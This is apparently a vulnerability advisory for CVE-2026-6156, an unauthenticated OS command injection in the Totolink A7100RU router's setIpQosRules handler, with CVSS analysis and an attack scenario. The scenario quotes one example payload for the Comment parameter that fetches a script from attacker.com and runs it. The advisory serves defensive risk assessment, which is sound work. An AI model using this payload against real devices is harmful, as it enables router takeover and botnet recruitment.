A7100Ru CVE-2026-6156

Remote unauthenticated attacker can exploit the setIpQosRules CGI handler in Totolik A7100RU firmware version 7.4cu.2313_b20191024 by sending a crafted request with OS command injection payload in the Comment parameter to /cgi-bin/cstecgi.cgi. No authentication or user interaction required.

Real-world risk is CRITICAL for internet-facing deployments. The CVSS 4.0 vector (AV:N/AC:L/PR:N) indicates network-accessible exploitation with low complexity and no authentication barrier-attackers need only craft malicious HTTP requests to the device's web interface. The E:P modifier confirms publicly available exploit code, verified by the GitHub POC reference (Litengzheng/vuldb_new). While no CISA KEV status is indicated (suggesting not yet observed in widespread campaigns), the combination of unauthenticated remote access, trivial exploitation (publicly documented POC), and complete system compromise (VC:H/VI:H/VA:H) creates immediate risk. Home and small business routers are frequently exposed to WAN interfaces with default credentials or unpatched firmware, making this vulnerability highly automatable for botnet recruitment. The lack of subsequent scope impact (SC:N/SI:N/SA:N) suggests the compromise is contained to the router itself, but this still enables network traffic interception, DNS hijacking, and pivot attacks into the LAN.

An external attacker scans internet-facing IP ranges for Totolink A7100RU devices by fingerprinting HTTP responses on port 80. Upon identifying a vulnerable router, the attacker sends a crafted POST request to /cgi-bin/cstecgi.cgi with a malicious Comment parameter containing shell metacharacters (e.g., '; wget http://attacker.com/malware.sh -O /tmp/bot; sh /tmp/bot #'). The setIpQosRules function fails to sanitize this input and passes it to a system() call, executing the injected commands with root privileges. The attacker establishes persistence by downloading and executing botnet malware, enrolling the router in a DDoS botnet or using it as a proxy for further attacks. The publicly available POC on GitHub provides attackers with ready-made exploitation code, eliminating the need for vulnerability research.